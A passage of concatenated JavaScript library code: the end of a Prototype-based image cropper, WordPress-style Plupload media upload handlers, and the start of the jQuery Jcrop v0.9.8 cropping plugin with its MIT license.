_42.top=this.areaCoords.y1+"px";
_42.width=_3e+"px";
_42.height=_3f+"px";
var _43=Math.ceil((_3e-6)/2)+"px";
var _44=Math.ceil((_3f-6)/2)+"px";
this.handleN.style.left=_43;
this.handleE.style.top=_44;
this.handleS.style.left=_43;
this.handleW.style.top=_44;
if(this.isIE){
this.north.style.height=this.areaCoords.y1+"px";
var _45=this.east.style;
_45.top=this.areaCoords.y1+"px";
_45.height=_3f+"px";
_45.left=_40+"px";
_45.width=(this.img.width-_40)+"px";
var _46=this.south.style;
_46.top=_41+"px";
_46.height=(this.img.height-_41)+"px";
var _47=this.west.style;
_47.top=this.areaCoords.y1+"px";
_47.height=_3f+"px";
_47.width=this.areaCoords.x1+"px";
}else{
_42.backgroundPosition="-"+this.areaCoords.x1+"px "+"-"+this.areaCoords.y1+"px";
}
this.subDrawArea();
this.forceReRender();
},forceReRender:function(){
if(this.isIE||this.isWebKit){
var n=document.createTextNode(" ");
var d,el,fixEL,i;
if(this.isIE){
fixEl=this.selArea;
}else{
if(this.isWebKit){
fixEl=document.getElementsByClassName("imgCrop_marqueeSouth",this.imgWrap)[0];
d=Builder.node("div","");
d.style.visibility="hidden";
var _4a=["SE","S","SW"];
for(i=0;i<_4a.length;i++){
el=document.getElementsByClassName("imgCrop_handle"+_4a[i],this.selArea)[0];
if(el.childNodes.length){
el.removeChild(el.childNodes[0]);
}
el.appendChild(d);
}
}
}
fixEl.appendChild(n);
fixEl.removeChild(n);
}
},startResize:function(e){
this.startCoords=this.cloneCoords(this.areaCoords);
this.resizing=true;
this.resizeHandle=Element.classNames(Event.element(e)).toString().replace(/([^N|NE|E|SE|S|SW|W|NW])+/,"");
Event.stop(e);
},startDrag:function(e){
Element.show(this.selArea);
this.clickCoords=this.getCurPos(e);
this.setAreaCoords({x1:this.clickCoords.x,y1:this.clickCoords.y,x2:this.clickCoords.x,y2:this.clickCoords.y});
this.dragging=true;
this.onDrag(e);
Event.stop(e);
},getCurPos:function(e){
return curPos={x:Event.pointerX(e)-this.wrapOffsets.left,y:Event.pointerY(e)-this.wrapOffsets.top};
},onDrag:function(e){
var _4f=null;
if(this.dragging||this.resizing){
var _50=this.getCurPos(e);
var _51=this.cloneCoords(this.areaCoords);
var _52={x:1,y:1};
}
if(this.dragging){
if(_50.x<this.clickCoords.x){
_52.x=-1;
}
if(_50.y<this.clickCoords.y){
_52.y=-1;
}
this.transformCoords(_50.x,this.clickCoords.x,_51,"x");
this.transformCoords(_50.y,this.clickCoords.y,_51,"y");
}else{
if(this.resizing){
_4f=this.resizeHandle;
if(_4f.match(/E/)){
this.transformCoords(_50.x,this.startCoords.x1,_51,"x");
if(_50.x<this.startCoords.x1){
_52.x=-1;
}
}else{
if(_4f.match(/W/)){
this.transformCoords(_50.x,this.startCoords.x2,_51,"x");
if(_50.x<this.startCoords.x2){
_52.x=-1;
}
}
}
if(_4f.match(/N/)){
this.transformCoords(_50.y,this.startCoords.y2,_51,"y");
if(_50.y<this.startCoords.y2){
_52.y=-1;
}
}else{
if(_4f.match(/S/)){
this.transformCoords(_50.y,this.startCoords.y1,_51,"y");
if(_50.y<this.startCoords.y1){
_52.y=-1;
}
}
}
}
}
if(this.dragging||this.resizing){
this.setAreaCoords(_51,false,e.shiftKey,_52,_4f);
this.drawArea();
Event.stop(e);
}
},transformCoords:function(_53,_54,_55,_56){
var _57=new Array();
if(_53<_54){
_57[0]=_53;
_57[1]=_54;
}else{
_57[0]=_54;
_57[1]=_53;
}
if(_56=="x"){
_55.x1=_57[0];
_55.x2=_57[1];
}else{
_55.y1=_57[0];
_55.y2=_57[1];
}
},endCrop:function(){
this.dragging=false;
this.resizing=false;
this.options.onEndCrop(this.areaCoords,{width:this.calcW(),height:this.calcH()});
},subInitialize:function(){
},subDrawArea:function(){
}};
Cropper.ImgWithPreview=Class.create();
Object.extend(Object.extend(Cropper.ImgWithPreview.prototype,Cropper.Img.prototype),{subInitialize:function(){
this.hasPreviewImg=false;
if(typeof (this.options.previewWrap)!="undefined"&&this.options.minWidth>0&&this.options.minHeight>0){
this.previewWrap=$(this.options.previewWrap);
this.previewImg=this.img.cloneNode(false);
this.options.displayOnInit=true;
this.hasPreviewImg=true;
Element.addClassName(this.previewWrap,"imgCrop_previewWrap");
Element.setStyle(this.previewWrap,{width:this.options.minWidth+"px",height:this.options.minHeight+"px"});
this.previewWrap.appendChild(this.previewImg);
}
},subDrawArea:function(){
if(this.hasPreviewImg){
var _58=this.calcW();
var _59=this.calcH();
var _5a={x:this.imgW/_58,y:this.imgH/_59};
var _5b={x:_58/this.options.minWidth,y:_59/this.options.minHeight};
var _5c={w:Math.ceil(this.options.minWidth*_5a.x)+"px",h:Math.ceil(this.options.minHeight*_5a.y)+"px",x:"-"+Math.ceil(this.areaCoords.x1/_5b.x)+"px",y:"-"+Math.ceil(this.areaCoords.y1/_5b.y)+"px"};
var _5d=this.previewImg.style;
_5d.width=_5c.w;
_5d.height=_5c.h;
_5d.left=_5c.x;
_5d.top=_5c.y;
}
}});
| JavaScript |
var topWin = window.dialogArguments || opener || parent || top, uploader, uploader_init;
function fileDialogStart() {
jQuery("#media-upload-error").empty();
}
// progress and success handlers for media multi uploads
function fileQueued(fileObj) {
// Get rid of unused form
jQuery('.media-blank').remove();
var items = jQuery('#media-items').children(), postid = post_id || 0;
// Collapse a single item
if ( items.length == 1 ) {
items.removeClass('open').find('.slidetoggle').slideUp(200);
}
// Create a progress bar containing the filename
jQuery('#media-items').append('<div id="media-item-' + fileObj.id + '" class="media-item child-of-' + postid + '"><div class="progress"><div class="percent">0%</div><div class="bar"></div></div><div class="filename original"> ' + fileObj.name + '</div></div>');
// Disable submit
jQuery('#insert-gallery').prop('disabled', true);
}
function uploadStart() {
try {
if ( typeof topWin.tb_remove != 'undefined' )
topWin.jQuery('#TB_overlay').unbind('click', topWin.tb_remove);
} catch(e){}
return true;
}
function uploadProgress(up, file) {
var item = jQuery('#media-item-' + file.id);
jQuery('.bar', item).width( (200 * file.loaded) / file.size );
jQuery('.percent', item).html( file.percent + '%' );
}
// check to see if a large file failed to upload
function fileUploading(up, file) {
var hundredmb = 100 * 1024 * 1024, max = parseInt(up.settings.max_file_size, 10);
if ( max > hundredmb && file.size > hundredmb ) {
setTimeout(function(){
if ( file.status == 2 && file.loaded == 0 ) { // not uploading
wpFileError(file, pluploadL10n.big_upload_failed.replace('%1$s', '<a class="uploader-html" href="#">').replace('%2$s', '</a>'));
if ( up.current && up.current.file.id == file.id && up.current.xhr.abort )
up.current.xhr.abort();
}
}, 10000); // wait for 10 sec. for the file to start uploading
}
}
function updateMediaForm() {
var items = jQuery('#media-items').children();
// Just one file, no need for collapsible part
if ( items.length == 1 ) {
items.addClass('open').find('.slidetoggle').show();
jQuery('.insert-gallery').hide();
} else if ( items.length > 1 ) {
items.removeClass('open');
// Only show Gallery button when there are at least two files.
jQuery('.insert-gallery').show();
}
// Only show Save buttons when there is at least one file.
if ( items.not('.media-blank').length > 0 )
jQuery('.savebutton').show();
else
jQuery('.savebutton').hide();
}
function uploadSuccess(fileObj, serverData) {
var item = jQuery('#media-item-' + fileObj.id);
// on success serverData should be numeric, fix bug in html4 runtime returning the serverData wrapped in a <pre> tag
serverData = serverData.replace(/^<pre>(\d+)<\/pre>$/, '$1');
// if async-upload returned an error message, place it in the media item div and return
if ( serverData.match('media-upload-error') ) {
item.html(serverData);
return;
} else {
jQuery('.percent', item).html( pluploadL10n.crunching );
}
prepareMediaItem(fileObj, serverData);
updateMediaForm();
// Increment the counter.
if ( post_id && item.hasClass('child-of-' + post_id) )
jQuery('#attachments-count').text(1 * jQuery('#attachments-count').text() + 1);
}
function setResize(arg) {
if ( arg ) {
if ( uploader.features.jpgresize )
uploader.settings['resize'] = { width: resize_width, height: resize_height, quality: 100 };
else
uploader.settings.multipart_params.image_resize = true;
} else {
delete(uploader.settings.resize);
delete(uploader.settings.multipart_params.image_resize);
}
}
function prepareMediaItem(fileObj, serverData) {
var f = ( typeof shortform == 'undefined' ) ? 1 : 2, item = jQuery('#media-item-' + fileObj.id);
try {
if ( typeof topWin.tb_remove != 'undefined' )
topWin.jQuery('#TB_overlay').click(topWin.tb_remove);
} catch(e){}
if ( isNaN(serverData) || !serverData ) { // Old style: Append the HTML returned by the server -- thumbnail and form inputs
item.append(serverData);
prepareMediaItemInit(fileObj);
} else { // New style: server data is just the attachment ID, fetch the thumbnail and form html from the server
item.load('async-upload.php', {attachment_id:serverData, fetch:f}, function(){prepareMediaItemInit(fileObj);updateMediaForm()});
}
}
function prepareMediaItemInit(fileObj) {
var item = jQuery('#media-item-' + fileObj.id);
// Clone the thumbnail as a "pinkynail" -- a tiny image to the left of the filename
jQuery('.thumbnail', item).clone().attr('class', 'pinkynail toggle').prependTo(item);
// Replace the original filename with the new (unique) one assigned during upload
jQuery('.filename.original', item).replaceWith( jQuery('.filename.new', item) );
// Bind AJAX to the new Delete button
jQuery('a.delete', item).click(function(){
// Tell the server to delete it. TODO: handle exceptions
jQuery.ajax({
url: 'admin-ajax.php',
type: 'post',
success: deleteSuccess,
error: deleteError,
id: fileObj.id,
data: {
id : this.id.replace(/[^0-9]/g, ''),
action : 'trash-post',
_ajax_nonce : this.href.replace(/^.*wpnonce=/,'')
}
});
return false;
});
// Bind AJAX to the new Undo button
jQuery('a.undo', item).click(function(){
// Tell the server to untrash it. TODO: handle exceptions
jQuery.ajax({
url: 'admin-ajax.php',
type: 'post',
id: fileObj.id,
data: {
id : this.id.replace(/[^0-9]/g,''),
action: 'untrash-post',
_ajax_nonce: this.href.replace(/^.*wpnonce=/,'')
},
success: function(data, textStatus){
var item = jQuery('#media-item-' + fileObj.id);
if ( type = jQuery('#type-of-' + fileObj.id).val() )
jQuery('#' + type + '-counter').text(jQuery('#' + type + '-counter').text()-0+1);
if ( post_id && item.hasClass('child-of-'+post_id) )
jQuery('#attachments-count').text(jQuery('#attachments-count').text()-0+1);
jQuery('.filename .trashnotice', item).remove();
jQuery('.filename .title', item).css('font-weight','normal');
jQuery('a.undo', item).addClass('hidden');
jQuery('.menu_order_input', item).show();
item.css( {backgroundColor:'#ceb'} ).animate( {backgroundColor: '#fff'}, { queue: false, duration: 500, complete: function(){ jQuery(this).css({backgroundColor:''}); } }).removeClass('undo');
}
});
return false;
});
// Open this item if it says to start open (e.g. to display an error)
jQuery('#media-item-' + fileObj.id + '.startopen').removeClass('startopen').addClass('open').find('slidetoggle').fadeIn();
}
// generic error message
function wpQueueError(message) {
jQuery('#media-upload-error').show().html( '<div class="error"><p>' + message + '</p></div>' );
}
// file-specific error messages
function wpFileError(fileObj, message) {
itemAjaxError(fileObj.id, message);
}
function itemAjaxError(id, message) {
var item = jQuery('#media-item-' + id), filename = item.find('.filename').text(), last_err = item.data('last-err');
if ( last_err == id ) // prevent firing an error for the same file twice
return;
item.html('<div class="error-div">'
+ '<a class="dismiss" href="#">' + pluploadL10n.dismiss + '</a>'
+ '<strong>' + pluploadL10n.error_uploading.replace('%s', jQuery.trim(filename)) + '</strong> '
+ message
+ '</div>').data('last-err', id);
}
function deleteSuccess(data, textStatus) {
if ( data == '-1' )
return itemAjaxError(this.id, 'You do not have permission. Has your session expired?');
if ( data == '0' )
return itemAjaxError(this.id, 'Could not be deleted. Has it been deleted already?');
var id = this.id, item = jQuery('#media-item-' + id);
// Decrement the counters.
if ( type = jQuery('#type-of-' + id).val() )
jQuery('#' + type + '-counter').text( jQuery('#' + type + '-counter').text() - 1 );
if ( post_id && item.hasClass('child-of-'+post_id) )
jQuery('#attachments-count').text( jQuery('#attachments-count').text() - 1 );
if ( jQuery('form.type-form #media-items').children().length == 1 && jQuery('.hidden', '#media-items').length > 0 ) {
jQuery('.toggle').toggle();
jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden');
}
// Vanish it.
jQuery('.toggle', item).toggle();
jQuery('.slidetoggle', item).slideUp(200).siblings().removeClass('hidden');
item.css( {backgroundColor:'#faa'} ).animate( {backgroundColor:'#f4f4f4'}, {queue:false, duration:500} ).addClass('undo');
jQuery('.filename:empty', item).remove();
jQuery('.filename .title', item).css('font-weight','bold');
jQuery('.filename', item).append('<span class="trashnotice"> ' + pluploadL10n.deleted + ' </span>').siblings('a.toggle').hide();
jQuery('.filename', item).append( jQuery('a.undo', item).removeClass('hidden') );
jQuery('.menu_order_input', item).hide();
return;
}
function deleteError(X, textStatus, errorThrown) {
// TODO
}
function uploadComplete() {
jQuery('#insert-gallery').prop('disabled', false);
}
function switchUploader(s) {
if ( s ) {
deleteUserSetting('uploader');
jQuery('.media-upload-form').removeClass('html-uploader');
if ( typeof(uploader) == 'object' )
uploader.refresh();
} else {
setUserSetting('uploader', '1'); // 1 == html uploader
jQuery('.media-upload-form').addClass('html-uploader');
}
}
function dndHelper(s) {
var d = document.getElementById('dnd-helper');
if ( s ) {
d.style.display = 'block';
} else {
d.style.display = 'none';
}
}
function uploadError(fileObj, errorCode, message, uploader) {
var hundredmb = 100 * 1024 * 1024, max;
switch (errorCode) {
case plupload.FAILED:
wpFileError(fileObj, pluploadL10n.upload_failed);
break;
case plupload.FILE_EXTENSION_ERROR:
wpFileError(fileObj, pluploadL10n.invalid_filetype);
break;
case plupload.FILE_SIZE_ERROR:
uploadSizeError(uploader, fileObj);
break;
case plupload.IMAGE_FORMAT_ERROR:
wpFileError(fileObj, pluploadL10n.not_an_image);
break;
case plupload.IMAGE_MEMORY_ERROR:
wpFileError(fileObj, pluploadL10n.image_memory_exceeded);
break;
case plupload.IMAGE_DIMENSIONS_ERROR:
wpFileError(fileObj, pluploadL10n.image_dimensions_exceeded);
break;
case plupload.GENERIC_ERROR:
wpQueueError(pluploadL10n.upload_failed);
break;
case plupload.IO_ERROR:
max = parseInt(uploader.settings.max_file_size, 10);
if ( max > hundredmb && fileObj.size > hundredmb )
wpFileError(fileObj, pluploadL10n.big_upload_failed.replace('%1$s', '<a class="uploader-html" href="#">').replace('%2$s', '</a>'));
else
wpQueueError(pluploadL10n.io_error);
break;
case plupload.HTTP_ERROR:
wpQueueError(pluploadL10n.http_error);
break;
case plupload.INIT_ERROR:
jQuery('.media-upload-form').addClass('html-uploader');
break;
case plupload.SECURITY_ERROR:
wpQueueError(pluploadL10n.security_error);
break;
/* case plupload.UPLOAD_ERROR.UPLOAD_STOPPED:
case plupload.UPLOAD_ERROR.FILE_CANCELLED:
jQuery('#media-item-' + fileObj.id).remove();
break;*/
default:
wpFileError(fileObj, pluploadL10n.default_error);
}
}
function uploadSizeError( up, file, over100mb ) {
var message;
if ( over100mb )
message = pluploadL10n.big_upload_queued.replace('%s', file.name) + ' ' + pluploadL10n.big_upload_failed.replace('%1$s', '<a class="uploader-html" href="#">').replace('%2$s', '</a>');
else
message = pluploadL10n.file_exceeds_size_limit.replace('%s', file.name);
jQuery('#media-items').append('<div id="media-item-' + file.id + '" class="media-item error"><p>' + message + '</p></div>');
up.removeFile(file);
}
jQuery(document).ready(function($){
$('.media-upload-form').bind('click.uploader', function(e) {
var target = $(e.target), tr, c;
if ( target.is('input[type="radio"]') ) { // remember the last used image size and alignment
tr = target.closest('tr');
if ( $(tr).hasClass('align') )
setUserSetting('align', target.val());
else if ( $(tr).hasClass('image-size') )
setUserSetting('imgsize', target.val());
} else if ( target.is('button.button') ) { // remember the last used image link url
c = e.target.className || '';
c = c.match(/url([^ '"]+)/);
if ( c && c[1] ) {
setUserSetting('urlbutton', c[1]);
target.siblings('.urlfield').val( target.attr('title') );
}
} else if ( target.is('a.dismiss') ) {
target.parents('.media-item').fadeOut(200, function(){
$(this).remove();
});
} else if ( target.is('.upload-flash-bypass a') || target.is('a.uploader-html') ) { // switch uploader to html4
$('#media-items, p.submit, span.big-file-warning').css('display', 'none');
switchUploader(0);
return false;
} else if ( target.is('.upload-html-bypass a') ) { // switch uploader to multi-file
$('#media-items, p.submit, span.big-file-warning').css('display', '');
switchUploader(1);
return false;
} else if ( target.is('a.describe-toggle-on') ) { // Show
target.parent().addClass('open');
target.siblings('.slidetoggle').fadeIn(250, function(){
var S = $(window).scrollTop(), H = $(window).height(), top = $(this).offset().top, h = $(this).height(), b, B;
if ( H && top && h ) {
b = top + h;
B = S + H;
if ( b > B ) {
if ( b - B < top - S )
window.scrollBy(0, (b - B) + 10);
else
window.scrollBy(0, top - S - 40);
}
}
});
return false;
} else if ( target.is('a.describe-toggle-off') ) { // Hide
target.siblings('.slidetoggle').fadeOut(250, function(){
target.parent().removeClass('open');
});
return false;
}
});
// init and set the uploader
uploader_init = function() {
uploader = new plupload.Uploader(wpUploaderInit);
$('#image_resize').bind('change', function() {
var arg = $(this).prop('checked');
setResize( arg );
if ( arg )
setUserSetting('upload_resize', '1');
else
deleteUserSetting('upload_resize');
});
uploader.bind('Init', function(up) {
var uploaddiv = $('#plupload-upload-ui');
setResize( getUserSetting('upload_resize', false) );
if ( up.features.dragdrop ) {
uploaddiv.addClass('drag-drop');
$('#drag-drop-area').bind('dragover.wp-uploader', function(){ // dragenter doesn't fire right :(
uploaddiv.addClass('drag-over');
}).bind('dragleave.wp-uploader, drop.wp-uploader', function(){
uploaddiv.removeClass('drag-over');
});
} else {
uploaddiv.removeClass('drag-drop');
$('#drag-drop-area').unbind('.wp-uploader');
}
});
uploader.init();
uploader.bind('FilesAdded', function(up, files) {
var hundredmb = 100 * 1024 * 1024, max = parseInt(up.settings.max_file_size, 10);
$('#media-upload-error').html('');
uploadStart();
plupload.each(files, function(file){
if ( max > hundredmb && file.size > hundredmb && up.runtime != 'html5' )
uploadSizeError( up, file, true );
else
fileQueued(file);
});
up.refresh();
up.start();
});
uploader.bind('BeforeUpload', function(up, file) {
// something
});
uploader.bind('UploadFile', function(up, file) {
fileUploading(up, file);
});
uploader.bind('UploadProgress', function(up, file) {
uploadProgress(up, file);
});
uploader.bind('Error', function(up, err) {
uploadError(err.file, err.code, err.message, up);
up.refresh();
});
uploader.bind('FileUploaded', function(up, file, response) {
uploadSuccess(file, response.response);
});
uploader.bind('UploadComplete', function(up, files) {
uploadComplete();
});
}
if ( typeof(wpUploaderInit) == 'object' )
uploader_init();
});
| JavaScript |
/**
* jquery.Jcrop.js v0.9.8
* jQuery Image Cropping Plugin
* @author Kelly Hallman <khallman@gmail.com>
* Copyright (c) 2008-2009 Kelly Hallman - released under MIT License {{{
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
* }}}
*/
(function($) {
$.Jcrop = function(obj,opt)
{
// Initialization {{{
// Sanitize some options {{{
var obj = obj, opt = opt;
if (typeof(obj) !== 'object') obj = $(obj)[0];
if (typeof(opt) !== 'object') opt = { };
// Some on-the-fly fixes for MSIE...sigh
if (!('trackDocument' in opt))
{
opt.trackDocument = $.browser.msie ? false : true;
if ($.browser.msie && $.browser.version.split('.')[0] == '8')
opt.trackDocument = true;
}
if (!('keySupport' in opt))
opt.keySupport = $.browser.msie ? false : true;
// }}}
// Extend the default options {{{
var defaults = {
// Basic Settings
trackDocument: false,
baseClass: 'jcrop',
addClass: null,
// Styling Options
bgColor: 'black',
bgOpacity: .6,
borderOpacity: .4,
handleOpacity: .5,
handlePad: 5,
handleSize: 9,
handleOffset: 5,
edgeMargin: 14,
aspectRatio: 0,
keySupport: true,
cornerHandles: true,
sideHandles: true,
drawBorders: true,
dragEdges: true,
boxWidth: 0,
boxHeight: 0,
boundary: 8,
animationDelay: 20,
swingSpeed: 3,
allowSelect: true,
allowMove: true,
allowResize: true,
minSelect: [ 0, 0 ],
maxSize: [ 0, 0 ],
minSize: [ 0, 0 ],
// Callbacks / Event Handlers
onChange: function() { },
onSelect: function() { }
};
var options = defaults;
setOptions(opt);
// }}}
// Initialize some jQuery objects {{{
var $origimg = $(obj);
var $img = $origimg.clone().removeAttr('id').css({ position: 'absolute' });
$img.width($origimg.width());
$img.height($origimg.height());
$origimg.after($img).hide();
presize($img,options.boxWidth,options.boxHeight);
var boundx = $img.width(),
boundy = $img.height(),
$div = $('<div />')
.width(boundx).height(boundy)
.addClass(cssClass('holder'))
.css({
position: 'relative',
backgroundColor: options.bgColor
}).insertAfter($origimg).append($img);
;
if (options.addClass) $div.addClass(options.addClass);
//$img.wrap($div);
var $img2 = $('<img />')/*{{{*/
.attr('src',$img.attr('src'))
.css('position','absolute')
.width(boundx).height(boundy)
;/*}}}*/
var $img_holder = $('<div />')/*{{{*/
.width(pct(100)).height(pct(100))
.css({
zIndex: 310,
position: 'absolute',
overflow: 'hidden'
})
.append($img2)
;/*}}}*/
var $hdl_holder = $('<div />')/*{{{*/
.width(pct(100)).height(pct(100))
.css('zIndex',320);
/*}}}*/
var $sel = $('<div />')/*{{{*/
.css({
position: 'absolute',
zIndex: 300
})
.insertBefore($img)
.append($img_holder,$hdl_holder)
;/*}}}*/
var bound = options.boundary;
var $trk = newTracker().width(boundx+(bound*2)).height(boundy+(bound*2))
.css({ position: 'absolute', top: px(-bound), left: px(-bound), zIndex: 290 })
.mousedown(newSelection);
/* }}} */
// Set more variables {{{
var xlimit, ylimit, xmin, ymin;
var xscale, yscale, enabled = true;
var docOffset = getPos($img),
// Internal states
btndown, lastcurs, dimmed, animating,
shift_down;
// }}}
// }}}
// Internal Modules {{{
var Coords = function()/*{{{*/
{
var x1 = 0, y1 = 0, x2 = 0, y2 = 0, ox, oy;
function setPressed(pos)/*{{{*/
{
var pos = rebound(pos);
x2 = x1 = pos[0];
y2 = y1 = pos[1];
};
/*}}}*/
function setCurrent(pos)/*{{{*/
{
var pos = rebound(pos);
ox = pos[0] - x2;
oy = pos[1] - y2;
x2 = pos[0];
y2 = pos[1];
};
/*}}}*/
function getOffset()/*{{{*/
{
return [ ox, oy ];
};
/*}}}*/
function moveOffset(offset)/*{{{*/
{
var ox = offset[0], oy = offset[1];
if (0 > x1 + ox) ox -= ox + x1;
if (0 > y1 + oy) oy -= oy + y1;
if (boundy < y2 + oy) oy += boundy - (y2 + oy);
if (boundx < x2 + ox) ox += boundx - (x2 + ox);
x1 += ox;
x2 += ox;
y1 += oy;
y2 += oy;
};
/*}}}*/
function getCorner(ord)/*{{{*/
{
var c = getFixed();
switch(ord)
{
case 'ne': return [ c.x2, c.y ];
case 'nw': return [ c.x, c.y ];
case 'se': return [ c.x2, c.y2 ];
case 'sw': return [ c.x, c.y2 ];
}
};
/*}}}*/
function getFixed()/*{{{*/
{
if (!options.aspectRatio) return getRect();
// This function could use some optimization I think...
var aspect = options.aspectRatio,
min_x = options.minSize[0]/xscale,
min_y = options.minSize[1]/yscale,
max_x = options.maxSize[0]/xscale,
max_y = options.maxSize[1]/yscale,
rw = x2 - x1,
rh = y2 - y1,
rwa = Math.abs(rw),
rha = Math.abs(rh),
real_ratio = rwa / rha,
xx, yy
;
if (max_x == 0) { max_x = boundx * 10 }
if (max_y == 0) { max_y = boundy * 10 }
if (real_ratio < aspect)
{
yy = y2;
w = rha * aspect;
xx = rw < 0 ? x1 - w : w + x1;
if (xx < 0)
{
xx = 0;
h = Math.abs((xx - x1) / aspect);
yy = rh < 0 ? y1 - h: h + y1;
}
else if (xx > boundx)
{
xx = boundx;
h = Math.abs((xx - x1) / aspect);
yy = rh < 0 ? y1 - h : h + y1;
}
}
else
{
xx = x2;
h = rwa / aspect;
yy = rh < 0 ? y1 - h : y1 + h;
if (yy < 0)
{
yy = 0;
w = Math.abs((yy - y1) * aspect);
xx = rw < 0 ? x1 - w : w + x1;
}
else if (yy > boundy)
{
yy = boundy;
w = Math.abs(yy - y1) * aspect;
xx = rw < 0 ? x1 - w : w + x1;
}
}
// Magic %-)
if(xx > x1) { // right side
if(xx - x1 < min_x) {
xx = x1 + min_x;
} else if (xx - x1 > max_x) {
xx = x1 + max_x;
}
if(yy > y1) {
yy = y1 + (xx - x1)/aspect;
} else {
yy = y1 - (xx - x1)/aspect;
}
} else if (xx < x1) { // left side
if(x1 - xx < min_x) {
xx = x1 - min_x
} else if (x1 - xx > max_x) {
xx = x1 - max_x;
}
if(yy > y1) {
yy = y1 + (x1 - xx)/aspect;
} else {
yy = y1 - (x1 - xx)/aspect;
}
}
if(xx < 0) {
x1 -= xx;
xx = 0;
} else if (xx > boundx) {
x1 -= xx - boundx;
xx = boundx;
}
if(yy < 0) {
y1 -= yy;
yy = 0;
} else if (yy > boundy) {
y1 -= yy - boundy;
yy = boundy;
}
return last = makeObj(flipCoords(x1,y1,xx,yy));
};
/*}}}*/
function rebound(p)/*{{{*/
{
if (p[0] < 0) p[0] = 0;
if (p[1] < 0) p[1] = 0;
if (p[0] > boundx) p[0] = boundx;
if (p[1] > boundy) p[1] = boundy;
return [ p[0], p[1] ];
};
/*}}}*/
function flipCoords(x1,y1,x2,y2)/*{{{*/
{
var xa = x1, xb = x2, ya = y1, yb = y2;
if (x2 < x1)
{
xa = x2;
xb = x1;
}
if (y2 < y1)
{
ya = y2;
yb = y1;
}
return [ Math.round(xa), Math.round(ya), Math.round(xb), Math.round(yb) ];
};
/*}}}*/
function getRect()/*{{{*/
{
var xsize = x2 - x1;
var ysize = y2 - y1;
if (xlimit && (Math.abs(xsize) > xlimit))
x2 = (xsize > 0) ? (x1 + xlimit) : (x1 - xlimit);
if (ylimit && (Math.abs(ysize) > ylimit))
y2 = (ysize > 0) ? (y1 + ylimit) : (y1 - ylimit);
if (ymin && (Math.abs(ysize) < ymin))
y2 = (ysize > 0) ? (y1 + ymin) : (y1 - ymin);
if (xmin && (Math.abs(xsize) < xmin))
x2 = (xsize > 0) ? (x1 + xmin) : (x1 - xmin);
if (x1 < 0) { x2 -= x1; x1 -= x1; }
if (y1 < 0) { y2 -= y1; y1 -= y1; }
if (x2 < 0) { x1 -= x2; x2 -= x2; }
if (y2 < 0) { y1 -= y2; y2 -= y2; }
if (x2 > boundx) { var delta = x2 - boundx; x1 -= delta; x2 -= delta; }
if (y2 > boundy) { var delta = y2 - boundy; y1 -= delta; y2 -= delta; }
if (x1 > boundx) { var delta = x1 - boundy; y2 -= delta; y1 -= delta; }
if (y1 > boundy) { var delta = y1 - boundy; y2 -= delta; y1 -= delta; }
return makeObj(flipCoords(x1,y1,x2,y2));
};
/*}}}*/
function makeObj(a)/*{{{*/
{
return { x: a[0], y: a[1], x2: a[2], y2: a[3],
w: a[2] - a[0], h: a[3] - a[1] };
};
/*}}}*/
return {
flipCoords: flipCoords,
setPressed: setPressed,
setCurrent: setCurrent,
getOffset: getOffset,
moveOffset: moveOffset,
getCorner: getCorner,
getFixed: getFixed
};
}();
/*}}}*/
var Selection = function()/*{{{*/
{
var start, end, dragmode, awake, hdep = 370;
var borders = { };
var handle = { };
var seehandles = false;
var hhs = options.handleOffset;
/* Insert draggable elements {{{*/
// Insert border divs for outline
if (options.drawBorders) {
borders = {
top: insertBorder('hline')
.css('top',$.browser.msie?px(-1):px(0)),
bottom: insertBorder('hline'),
left: insertBorder('vline'),
right: insertBorder('vline')
};
}
// Insert handles on edges
if (options.dragEdges) {
handle.t = insertDragbar('n');
handle.b = insertDragbar('s');
handle.r = insertDragbar('e');
handle.l = insertDragbar('w');
}
// Insert side handles
options.sideHandles &&
createHandles(['n','s','e','w']);
// Insert corner handles
options.cornerHandles &&
createHandles(['sw','nw','ne','se']);
/*}}}*/
// Private Methods
function insertBorder(type)/*{{{*/
{
var jq = $('<div />')
.css({position: 'absolute', opacity: options.borderOpacity })
.addClass(cssClass(type));
$img_holder.append(jq);
return jq;
};
/*}}}*/
function dragDiv(ord,zi)/*{{{*/
{
var jq = $('<div />')
.mousedown(createDragger(ord))
.css({
cursor: ord+'-resize',
position: 'absolute',
zIndex: zi
})
;
$hdl_holder.append(jq);
return jq;
};
/*}}}*/
function insertHandle(ord)/*{{{*/
{
return dragDiv(ord,hdep++)
.css({ top: px(-hhs+1), left: px(-hhs+1), opacity: options.handleOpacity })
.addClass(cssClass('handle'));
};
/*}}}*/
function insertDragbar(ord)/*{{{*/
{
var s = options.handleSize,
o = hhs,
h = s, w = s,
t = o, l = o;
switch(ord)
{
case 'n': case 's': w = pct(100); break;
case 'e': case 'w': h = pct(100); break;
}
return dragDiv(ord,hdep++).width(w).height(h)
.css({ top: px(-t+1), left: px(-l+1)});
};
/*}}}*/
function createHandles(li)/*{{{*/
{
for(i in li) handle[li[i]] = insertHandle(li[i]);
};
/*}}}*/
function moveHandles(c)/*{{{*/
{
var midvert = Math.round((c.h / 2) - hhs),
midhoriz = Math.round((c.w / 2) - hhs),
north = west = -hhs+1,
east = c.w - hhs,
south = c.h - hhs,
x, y;
'e' in handle &&
handle.e.css({ top: px(midvert), left: px(east) }) &&
handle.w.css({ top: px(midvert) }) &&
handle.s.css({ top: px(south), left: px(midhoriz) }) &&
handle.n.css({ left: px(midhoriz) });
'ne' in handle &&
handle.ne.css({ left: px(east) }) &&
handle.se.css({ top: px(south), left: px(east) }) &&
handle.sw.css({ top: px(south) });
'b' in handle &&
